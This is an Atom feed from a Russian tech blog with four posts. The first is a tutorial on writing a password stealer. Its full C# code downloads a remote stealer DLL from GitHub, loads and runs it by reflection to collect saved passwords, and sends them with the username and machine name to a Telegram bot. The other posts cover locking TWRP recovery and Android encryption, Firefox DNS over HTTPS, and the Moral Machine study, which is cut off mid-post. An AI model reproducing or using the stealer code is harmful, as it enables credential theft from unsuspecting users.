<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Бюро121</title><author><name>Бюро121</name></author><id>https://teletype.in/atom/bureau121</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/bureau121?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/bureau121?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-15T09:57:02.909Z</updated><entry><id>bureau121:WQ94xSH_G</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/WQ94xSH_G?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Динамическая загрузка DLL (пишем стиллер в 9кб)</title><published>2021-01-26T09:44:06.231Z</published><updated>2021-01-26T09:44:06.231Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/60/aa/60aa8bbc-319b-4f9d-b7e0-c5eed64af836.jpeg"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/af/dc/afdc288f-a309-4751-a73b-e2976752c848.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/af/dc/afdc288f-a309-4751-a73b-e2976752c848.jpeg&quot; width=&quot;1300&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;strong&gt;Будем юзать пространство имен &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly&quot; target=&quot;_blank&quot;&gt;System.Reflections&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote&gt;Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля&lt;/blockquote&gt;
  &lt;pre&gt;public static byte[] GetLibrary()
{
    byte[] dll = new byte[0];
    string url = &amp;quot;https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll&amp;quot;;
    using (var client = new WebClient())
    {
        try {
            dll = client.DownloadData(url);
        } catch (WebException) {
            Environment.Exit(1);
        }
    }
    return dll;
}
&lt;/pre&gt;
  &lt;p&gt;&lt;strong&gt;Теперь напишем функцию GetPasswords которая&lt;/strong&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;принимает байты дллки&lt;/strong&gt;&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;загружает её&lt;/strong&gt;&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;вызывает функцию оттуда &lt;/strong&gt;&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;и возвращает пароли нам&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre&gt;public static string GetPasswords(byte[] dll)
{
    // Загрузить дллку
    Assembly asm = Assembly.Load(dll);
    // Создать экземпляр
    dynamic instance = Activator.CreateInstance(
        asm.GetType(&amp;quot;PasswordStealer.Stealer&amp;quot;));
    // Получить функцию восстановления паролей из дллки
    MethodInfo runMethod = instance.GetType().GetMethod(&amp;quot;Run&amp;quot;,
        BindingFlags.Instance | BindingFlags.Public);
    // Вызов метода восстановления паролей
    string passwords = (string)runMethod.Invoke(
        instance, new object[] { });
    // Возвращаем пассы
    return passwords;
}
&lt;/pre&gt;
  &lt;blockquote&gt;&lt;strong&gt;Функция UploadReport будет отправлять пароли в телегу&lt;/strong&gt;&lt;/blockquote&gt;
  &lt;p&gt;C#:&lt;/p&gt;
  &lt;pre&gt;public static bool UploadReport(string passwords)
{
    string report = $&amp;quot;*New report*\n&amp;quot; +
        $&amp;quot;*UserName:* {Environment.UserName}\n&amp;quot; +
        $&amp;quot;*CompName:* {Environment.MachineName}\n\n&amp;quot; +
        $&amp;quot;*Passwords:* \n{passwords}&amp;quot;;
    string telegram_api = &amp;quot;https://api.telegram.org/bot&amp;quot;;
    using (var client = new WebClient())
    {
        try
        {
            string response = client.DownloadString(
                telegram_api + &amp;quot;&amp;lt;TOKEN&amp;gt;&amp;quot; +
                &amp;quot;/sendMessage?chat_id=&amp;lt;CHAT_ID&amp;gt;&amp;quot;+
                &amp;quot;&amp;amp;text=&amp;quot; + report +
                &amp;quot;&amp;amp;disable_web_page_preview=True&amp;quot; +
                &amp;quot;&amp;amp;parse_mode=Markdown&amp;quot;
            );
            return response.Contains(&amp;quot;\&amp;quot;ok\&amp;quot;:true,&amp;quot;);
        }
        catch (WebException)
        {
            return false;
        }
    }
}
&lt;/pre&gt;
  &lt;blockquote&gt;&lt;strong&gt;И главная функция&lt;/strong&gt;&lt;/blockquote&gt;
  &lt;p&gt;C#:&lt;/p&gt;
  &lt;pre&gt;static void Main()
{
    // Это надо для правильной отправки
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                                         | SecurityProtocolType.Tls11
                                         | SecurityProtocolType.Tls12
                                         | SecurityProtocolType.Ssl3;

    byte[] dll = GetLibrary(); // Скачать байты dll
    string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
    UploadReport(pwd); // Отправляем пароли боту Telegram
}
&lt;/pre&gt;
  &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/u&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;video src=&quot;https://psv4.userapi.com/c829601/u61591237/docs/d3/c4b0a6ff3372/video.mp4?extra=-zxZ_vrv63qEHj8ZPd-H8A7ZZCdFY7f3R1NpM1jY9ti6b0cTctJSWX1g8bWI0-NdVdHD09UsYsqSp0PFWPw_G4djgEITrd3DvGuNIrcUFu5HLy13BE3gbRIsODdOEqt1yuhiXuAMqVmLeXR8vqd66-O-PQ&amp;dl=1&amp;mp4=1&quot;&gt;&lt;/video&gt;
  &lt;/figure&gt;

</content></entry><entry><id>bureau121:tpvM-DmSw</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/tpvM-DmSw?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Как установить пароль на TWRP и заблокировать recovery смартфона. Шифрование данных Android</title><published>2021-01-24T15:14:25.308Z</published><updated>2021-01-24T15:14:25.308Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/10/9f/109f73f4-9d8c-4b3a-9824-318afa07657c.jpeg"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/4b/ef/4bef9338-00f2-49ff-bc42-880c95bb6946.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/4b/ef/4bef9338-00f2-49ff-bc42-880c95bb6946.jpeg&quot; width=&quot;1600&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Для защиты личных данных довольно много пользователей ставят защитные элементы, которыми могут выступать сканеры отпечатков пальца, распознавание лица по Face ID, графические символы или стандартные пароли из букв и цифр.&lt;/p&gt;
  &lt;p&gt;В TWRP есть функция – блокировка и защита паролем. Мы не говорим о PIN-кодах или паролях, которые вы устанавливаете для экрана блокировки своего телефона. Блокировка о которой мы рассказываем применяется только к TWRP. Когда вы выключите устройство и загрузитесь в TWRP, recovery запросит код блокировки, чтобы продолжить.&lt;/p&gt;
  &lt;p&gt;Это действительно полезная функция. Если ваш телефон украдут и вор попытается стереть все данные, он не сможет это сделать, потому что у него нет кода блокировки. Эта функция может быть применена ко всем устройствам, у которых есть активное восстановление TWRP.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-40.userapi.com/impg/6hXiHKiEHzyYbm4pwm6mNpezvlWVctmJl34y8w/5jfABr-uLko.jpg?size=696x392&amp;quality=96&amp;proxy=1&amp;sign=efa36f1351f8b41e3b0a8a1e0d1c69a4&amp;type=album&quot; width=&quot;696&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Включить блокировку пароля в TWRP&lt;/h3&gt;
  &lt;ol&gt;
    &lt;li&gt;Загрузите файл, который включает блокировку паролей: &lt;a href=&quot;https://rucore.net/goto/aHR0cHM6Ly9mb3J1bS54ZGEtZGV2ZWxvcGVycy5jb20vYXR0YWNobWVudC5waHA/YXR0YWNobWVudGlkPTMzOTI5MTkmYW1wO2Q9MTQzNjE4NTE4OA==&quot; target=&quot;_blank&quot;&gt;ui.zip&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Загрузите zip-файл на свой телефон и переместите его в / sdcard / TWRP / theme.&lt;/li&gt;
    &lt;li&gt;Выключаем телефон и загружаемся в рекавери.&lt;/li&gt;
    &lt;li&gt;Зайдите в «Настройки» и там вы можете установить и изменить пароль, который вам нравится.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;После того, как вы создали пароль, перезагрузите телефон и попробуйте загрузиться в TWRP. Вам будет предложено ввести код пароля.&lt;/p&gt;
  &lt;h3&gt;Зачем блокировать TWRP&lt;/h3&gt;
  &lt;ol&gt;
    &lt;li&gt;Многие впервые сталкивались с TWRP не с целью создания полного бэкапа системы, так называемого Nandro &amp;gt;прошивки кастомного ROM на свой смартфон.&lt;/li&gt;
    &lt;li&gt;Пользователи, которые интересуются системой Andro &amp;gt;чтобы сбросить пароль или графический ключ блокировки, можно в рекавери сделать full wipe .&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;Оба примера показывают, насколько мощным помощником может быть режим восстановления в умелых руках. Но как обезопасить себя от несанкционированного доступа к такому инструменту со стороны третьих лиц? Достаточно простой и удобный способ – &lt;strong&gt;установить пароль на вход в рекавери&lt;/strong&gt;.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-41.userapi.com/impg/pXx1F2RYagwyXqLkOakl9j554bIIx1yESyzpIQ/cw5ZZ6UovM4.jpg?size=169x300&amp;quality=96&amp;proxy=1&amp;sign=32e9d4781701345778b068d9f342bf25&amp;type=album&quot; width=&quot;169&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Способы, из данной статьи, не дают 100%-й защиты от вмешательства в систему посредством меню рекавери, так как установка пароля на вход в TWRP не препятствует повторной перепрошивке самого Recovery с потерей произведённых настроек, но в неумелых руках однозначно затруднит использование смартфона мошенником или вором.&lt;/p&gt;
  &lt;h3&gt;Запрашивает пароль нa TWRP! Не понимаю что за пароль надо ввести и для чего! Расшифровать данные?&lt;/h3&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-72.userapi.com/impg/TSUY4qJ91zvmiY5g7_i5AhujFn2RvRYu3SE_bA/jBq0q4Rs9JE.jpg?size=520x245&amp;quality=96&amp;proxy=1&amp;sign=6150e45287c48fb04d5ca3735d51de13&amp;type=album&quot; width=&quot;520&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;«&lt;strong&gt;Среда восстановления&lt;/strong&gt;» Вашего телефона является частью программного обеспечения, которое Вы редко видите. Она используется для установки обновления Android, восстановления к заводским настройкам, а также выполняет другие задачи. Среда восстановления от Google, установленная по-умолчанию, очень простая, но сторонние разработчики предлагают свои решения, например, &lt;strong&gt;Team Win Recovery Project&lt;/strong&gt; (TWRP) — позволяет Вам делать резервные копии, устанавливать пользовательские прошивки, получать права суперпользователя, а также еще много чего полезного.&lt;/p&gt;
  &lt;p&gt;Самый простой способ – ввести в графе пароля &lt;strong&gt;8 нолей&lt;/strong&gt;. Практически всегда это помогает.&lt;/p&gt;
  &lt;h3&gt;Шифрование данных на Android-устройствах. TWRP требует пароль, потому что /data зашифрован&lt;/h3&gt;
  &lt;p&gt;&lt;em&gt;Вы используете свой смартфон (планшет) Android, чтобы сохранить персональные фотографии, читаете важные электронные письма, делаете онлайн-покупки с помощью вашей кредитной карты, редактируете и передаете важные документы? Если ваш ответ «да», то вы должны задуматься о шифровании вашего устройства.&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt;Самая главная защита устройства — это экран блокировки с паролем или графическим ключом. По уровню защиты они абсолютно одинаковы. Именно с ними злоумышленнику предстоит столкнуться в первую очередь, так что пароль тут нужен хороший.&lt;/p&gt;
  &lt;p&gt;Шифрование вашего телефона означает, что если телефон заблокирован, то файлы зашифрованы. Любые файлы, отправляемые и получаемые с вашего телефона, не будут зашифрованы, если вы не используете дополнительные методы. Единственная разница между незашифрованным и зашифрованным телефоном с точки зрения пользователя в том, что вы должны будете теперь использовать пароль для разблокирования телефона (планшета).&lt;/p&gt;
  &lt;p&gt;Если ваш телефон не зашифрован, то пароль — это просто блокировка экрана. Фактически, в данном случае пароль просто блокирует экран — то есть, не делает ничего, чтобы защитить файлы, которые хранятся на устройстве.&lt;/p&gt;
  &lt;h3&gt;Как включить шифрование на Android-устройстве?&lt;/h3&gt;
  &lt;ol&gt;
    &lt;li&gt;Откройте меню Настройки.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;2. В Настройках выберите Безопасность &amp;gt; Шифрование (Зашифровать устройство).&lt;/p&gt;
  &lt;p&gt;3. В соответствии с требованиями, вам необходимо ввести пароль длиной не менее шести символов, по крайней мере один из которых является числом.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-26.userapi.com/impg/Iyit9Yv0VyDf10t4nW9d4MXHvWQqHYz6Ryw8-Q/6hLhWpwKjxs.jpg?size=1200x1920&amp;quality=96&amp;proxy=1&amp;sign=57525367b6979c3ea0d90ba38965183f&amp;type=album&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Как только вы зададите пароль, запустится процесс шифрования ваших файлов. Шифрование может занять час или больше, таким образом, до начала шифрования вы должны включить зарядное устройство.&lt;/p&gt;
  &lt;h3&gt;Как расшифровать?&lt;/h3&gt;
  &lt;p&gt;Чтобы окончательно расшифровать файловую систему, вам нужно &lt;strong&gt;отформатировать &lt;code&gt;/data&lt;/code&gt;&lt;/strong&gt;. &lt;strong&gt;Помните, что форматирование &lt;code&gt;/data&lt;/code&gt; удалит все ваши файлы, включая фотографии, музыку и т. д. из вашего внутреннего хранилища.&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Таким образом, на сегодня существует непростой выбор — либо вы шифруете ваше устройство и миритесь с огромными неудобствами, либо вы получаете удобство использования, но в ущерб безопасности.&lt;/p&gt;
  &lt;h3&gt;По итогам&lt;/h3&gt;
  &lt;p&gt;Как результат, если установить пароль на Recovery и на сам смартфон, мы получим полностью зашифрованный аппарат с пин-кодом на экране блокировки, залоченным загрузчиком и запароленной кастомной консолью восстановления. Практически неприступная крепость. Злоумышленник не сможет даже сбросить смартфон до заводских настроек. Но есть один нюанс: содержимое карты памяти будет зашифровано только в том случае, если она встроенная.&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;u&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/u&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:3xmCJ3iCo</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/3xmCJ3iCo?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>DNS over HTTPS Firefox</title><published>2021-01-21T14:28:53.274Z</published><updated>2021-01-21T14:28:53.274Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/52/ea/52eaf3d7-f40a-4a87-94a5-0b2b259a4e5b.jpeg"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/e9/03/e903bd9c-7c7f-4421-81ae-609c76c09dcd.jpeg&quot;&gt;Источник: t.me/Bureau121
</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;br /&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/e9/03/e903bd9c-7c7f-4421-81ae-609c76c09dcd.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;DNS over HTTPS – относительно новая технология, которая предназначена для улучшения конфиденциальности, безопасности и надежности подключения DNS.&lt;/p&gt;
  &lt;p&gt;Системы доменных имен (DNS) играют очень важную роль – они позволяют сопоставлять адреса, вводимые в адресную строку с соответствующими IP-адресами. Обычно поиск DNS осуществляется автоматически и обычно без какого-либо шифрования или защиты от посторонних глаз.&lt;/p&gt;
  &lt;p&gt;Пользователи сети Интернет всегда имели альтернативы – подключение к VPN-службе, которая использует провайдер DNS, предоставляющий улучшенную защиту данных, или использование &lt;a href=&quot;https://www.comss.ru/page.php?id=2814&quot; target=&quot;_blank&quot;&gt;DNSCrypt&lt;/a&gt; для повышения безопасности и конфиденциальности.&lt;/p&gt;
  &lt;p&gt;DNS over HTTPS – еще один вариант, который появился сравнительно недавно. Mozilla добавила основную функциональность данной технологии в Firefox 60+.&lt;/p&gt;
  &lt;h3&gt;Как настроить «DNS через HTTPS» в Firefox&lt;/h3&gt;
  &lt;p&gt;Пользователи Firefox Browser могут настроить браузер, чтобы использовать DNS over HTTPS уже сейчас. Если вы используете как минимум 62.x, то вы сможете настроить функцию. Пожалуйста, обратите внимание, что использование DNS over HTTPS может привести к проблемам подключения, но все изменения обратимы.&lt;/p&gt;
  &lt;h3&gt;Как настроить DNS over HTTPS в Firefox через параметры браузера&lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;Перейдите в меню &lt;strong&gt;Настройки &amp;gt; Основные &amp;gt; Параметры сети&lt;/strong&gt; и нажмите кнопку &lt;strong&gt;Настроить&lt;/strong&gt;.&lt;/li&gt;
    &lt;li&gt;В открывшемся окне включите параметр &lt;strong&gt;Включить DNS через HTTPS&lt;/strong&gt;, в выпадающем меню &lt;strong&gt;Используемый провайдер&lt;/strong&gt; выберите предложенные по умолчанию Cloudflare DNS или NextDNS, или укажите другого провайдера с поддержкой DNS-over-HTTPS, выбрав &lt;em&gt;Другой URL&lt;/em&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-74.userapi.com/impg/UGUIB5r0DARluI2Q0nTYZXvjN9giCL6atfQpaw/wSuZLC2BJtM.jpg?size=807x487&amp;quality=96&amp;sign=dca8ca527d4e5e583687203dedba8d6e&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;Например, чтобы использовать шифрование DNS-запросов с помощью openDNS укажите в поле &lt;em&gt;Другой URL&lt;/em&gt; следующее значение:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre&gt;https://doh.opendns.com/dns-query
&lt;/pre&gt;
  &lt;ul&gt;
    &lt;li&gt;Нажмите ОК и ваши DNS-запросы будут зашифрованы.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Как настроить DNS over HTTPS в Firefox через конфиг about:config&lt;/h3&gt;
  &lt;p&gt;&lt;strong&gt;Примечание&lt;/strong&gt;: Данный вариант настройки рекомендуется для опытных пользователей.&lt;/p&gt;
  &lt;p&gt;Для настройки DNS over HTTPS нужно изменить три параметра нового резольвера TRR (Trusted Recursive Resolver) в браузере:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Введите &lt;strong&gt;about:config&lt;/strong&gt; в адресную строку Firefox.&lt;/li&gt;
    &lt;li&gt;Подтвердите, что вы принимаете на себя весь риск, если откроется страница с предупреждением.&lt;/li&gt;
    &lt;li&gt;С помощью строки поиска найдите параметр &lt;strong&gt;network.trr.mode&lt;/strong&gt; и дважды щелкните по нему.Установите значение, равное &lt;strong&gt;2&lt;/strong&gt;, чтобы технология DNS over HTTPS была выбрана по умолчанию, а ваш стандартный DNS-сервер использовался в качестве резервного. Это оптимальный вариант с точки зрения совместимости.&lt;/li&gt;
    &lt;li&gt;Вы можете установить значение &lt;strong&gt;1&lt;/strong&gt;, чтобы Firefox выбрал самый быстрый вариант; &lt;strong&gt;3&lt;/strong&gt; – чтобы использовать только TRR; &lt;strong&gt;4&lt;/strong&gt; – теневой режим: запускает TRR параллельно со стандартным DNS для синхронизации и измерений, но использует только результаты стандартного резольвера; &lt;strong&gt;0&lt;/strong&gt; – чтобы отключить TRR по умолчанию, &lt;strong&gt;5&lt;/strong&gt; – чтобы отключить TRR по выбору.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-52.userapi.com/impg/pwWppnyV_SRfeMxCodxhww--79FpelqgkC2gjw/0Da05KKkAQo.jpg?size=807x439&amp;quality=96&amp;sign=85887ec78fec0a3798fdec37666d8fa1&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;С помощью строки поиска найдите параметр &lt;strong&gt;network.trr.uri&lt;/strong&gt;. В Firefox нужно будет ввести адрес сервера DNS over HTTPS. Дважды щелкните по названию параметра. На данный момент доступно &lt;a href=&quot;https://github.com/curl/curl/wiki/DNS-over-HTTPS#publicly-available-servers&quot; target=&quot;_blank&quot;&gt;множество&lt;/a&gt; общедоступных серверов, среди которых можно выделить &lt;a href=&quot;https://www.comss.ru/page.php?id=4945&quot; target=&quot;_blank&quot;&gt;Cloudflare DNS&lt;/a&gt;, &lt;a href=&quot;https://www.comss.ru/page.php?id=758&quot; target=&quot;_blank&quot;&gt;Google Public DNS&lt;/a&gt;, &lt;a href=&quot;https://www.comss.ru/page.php?id=7285&quot; target=&quot;_blank&quot;&gt;Cisco OpenDNS&lt;/a&gt;:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre&gt;https://mozilla.cloudflare-dns.com/dns-query
&lt;/pre&gt;
  &lt;p&gt;&lt;strong&gt;Примечание&lt;/strong&gt;: Mozilla заключила с Cloudflare соглашение, согласно которому регистрируемые и сохраняемые данные ограничены.&lt;/p&gt;
  &lt;pre&gt;https://dns.google/dns-query
https://doh.opendns.com/dns-query
&lt;/pre&gt;
  &lt;p&gt;Вы также можете воспользоваться нашим защищенным DNS-сервером &lt;a href=&quot;https://www.comss.ru/page.php?id=7315&quot; target=&quot;_blank&quot;&gt;Comss.one DNS&lt;/a&gt;:&lt;/p&gt;
  &lt;pre&gt;https://dns.comss.one/dns-query
&lt;/pre&gt;
  &lt;ul&gt;
    &lt;li&gt;Найдите параметр &lt;strong&gt;network.trr.bootstrapAddress&lt;/strong&gt; и дважды щелкните по немуУстановите значение &lt;code&gt;1.1.1.1&lt;/code&gt;, если выбрали Cloudflare&lt;/li&gt;
    &lt;li&gt;Установите значение &lt;code&gt;8.8.8.8&lt;/code&gt;, если выбрали Google DNS&lt;/li&gt;
    &lt;li&gt;Установите значение &lt;code&gt;208.67.222.222&lt;/code&gt;, если выбрали Cisco OpenDNS&lt;/li&gt;
    &lt;li&gt;Установите значение &lt;code&gt;93.115.24.204&lt;/code&gt;, если выбрали Comss.one DNS&lt;/li&gt;
    &lt;li&gt;Перезапустите браузер Firefox.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Как проверить работу DNS over HTTPS в Firefox?&lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;После настройки введите в адресную строку Firefox &lt;code&gt;about:networking&lt;/code&gt; и нажмите ссылку &lt;strong&gt;DNS&lt;/strong&gt; в меню слева. Откроется страница, на которой показывается содержимое кэша DNS в памяти.&lt;/li&gt;
    &lt;li&gt;В столбце TRR будет указано «true» для имен хостов, которые используют DNS-over-HTTPS.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-37.userapi.com/impg/rjpzyoY7BwjmtaKHxnsL_CVzOlrK9fWt44DqaQ/dNn9l75lmhU.jpg?size=807x494&amp;quality=96&amp;sign=6c82a3eacb8224c37d83af89f8d5c251&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Проверить работу DNS также можно с помощью сервиса &lt;a href=&quot;https://www.dnsleaktest.com/&quot; target=&quot;_blank&quot;&gt;DNS Leak Test&lt;/a&gt; (нажмите кнопку &lt;strong&gt;Extended test&lt;/strong&gt;). Убедитесь, что все найденные DNS-серверы относятся к выбранному в качестве основного DNS. Например, если выбрали Cisco OpenDNS:&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-5.userapi.com/impg/5g9x0L7qVilGbdanZpWfQQGckBuW6A9ujIppeg/SsnU43_ywK0.jpg?size=807x426&amp;quality=96&amp;sign=6ae923b07818a44628e91b1b92f268c6&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;u&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/u&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:bEZqwOx6j</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/bEZqwOx6j?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Кого беспилотный автомобиль предпочтёт задавить, если потери неизбежны?</title><published>2021-01-20T15:31:21.195Z</published><updated>2021-01-20T15:31:21.195Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/d1/b2/d1b2d38c-694c-408e-a0a2-cd3ea3e7563e.jpeg"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/1c/cd/1ccd7673-21d5-4afe-9e3a-b49a0d740e69.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/1c/cd/1ccd7673-21d5-4afe-9e3a-b49a0d740e69.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;За два года в исследовании приняли участие больше 2 млн людей со всего мира. Они предоставили 40 млн решений для смоделированных ситуаций.&lt;/p&gt;
  &lt;p&gt;Представляю вам результаты этого эксперимента.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-14.userapi.com/impg/okIzc0MN-qf6580q18pYbkhx5IVAL2kUPzgN-Q/cghDzwkjGFg.jpg?size=807x611&amp;quality=96&amp;sign=25fec39dcda314c169fc2ce4042965f1&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;em&gt;Пример задания из теста. Тормоза беспилотного автомобиля отказали. Что предпочтительнее: сохранять курс (тогда погибнут трое пожилых людей, переходящих дорогу на красный свет) — или свернуть и врезаться в ограждение (погибнут двое взрослых людей и ребенок, находящиеся в машине)?&lt;/em&gt;&lt;/p&gt;
  &lt;h3&gt;Суть исследования&lt;/h3&gt;
  &lt;p&gt;Moral Machine предлагает ряд ситуаций с неизбежными авариями. В зависимости от поведения беспилотного автомобиля исход будет разным. Пользователь должен выбрать наиболее предпочтительный сценарий.&lt;/p&gt;
  &lt;p&gt;Исследование должно было дать ответ на 9 главных вопросов о том, что предпочтительнее:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;сохранить жизнь человека или животного;&lt;/li&gt;
    &lt;li&gt;сохранить курс или свернуть;&lt;/li&gt;
    &lt;li&gt;сохранить жизнь пассажиров или пешеходов;&lt;/li&gt;
    &lt;li&gt;наибольшего количества людей или наименьшего;&lt;/li&gt;
    &lt;li&gt;мужчин или женщин;&lt;/li&gt;
    &lt;li&gt;молодых или стариков;&lt;/li&gt;
    &lt;li&gt;толстых или худых;&lt;/li&gt;
    &lt;li&gt;пешеходов, переходящих дорогу в соответствии с ПДД, или пешеходов-нарушителей;&lt;/li&gt;
    &lt;li&gt;людей с высоким или низким социальным статусом.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;&lt;strong&gt;В некоторых сценариях были дополнительные факторы&lt;/strong&gt;: например, в них участвовали преступники, беременные женщины и доктора. Эти характеристики были нужны в основном для того, чтобы ситуации не выглядели похоже для испытуемых.&lt;/p&gt;
  &lt;p&gt;После решения 13 ситуаций участники могли пройти опрос и указать демографические данные: пол, возраст, доход, образование, религиозные и политические взгляды. Для каждого участника фиксировалось его геоположение.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-12.userapi.com/impg/Xg7uOlBqqSon2WtTAJGKjXOOlOeTWMjavTSnSg/LRgHI4Mkf4I.jpg?size=807x444&amp;quality=96&amp;sign=ac5fea2aa82135dc30173e95c686afaa&amp;type=album&quot; width=&quot;807&quot; /&gt;
    &lt;figcaption&gt;География респондентов. Каждая точка на карте обозначает, что хотя бы один пользователь данного региона прошел хотя бы одно задание теста&lt;/figcaption&gt;
  &lt;/figure&gt;
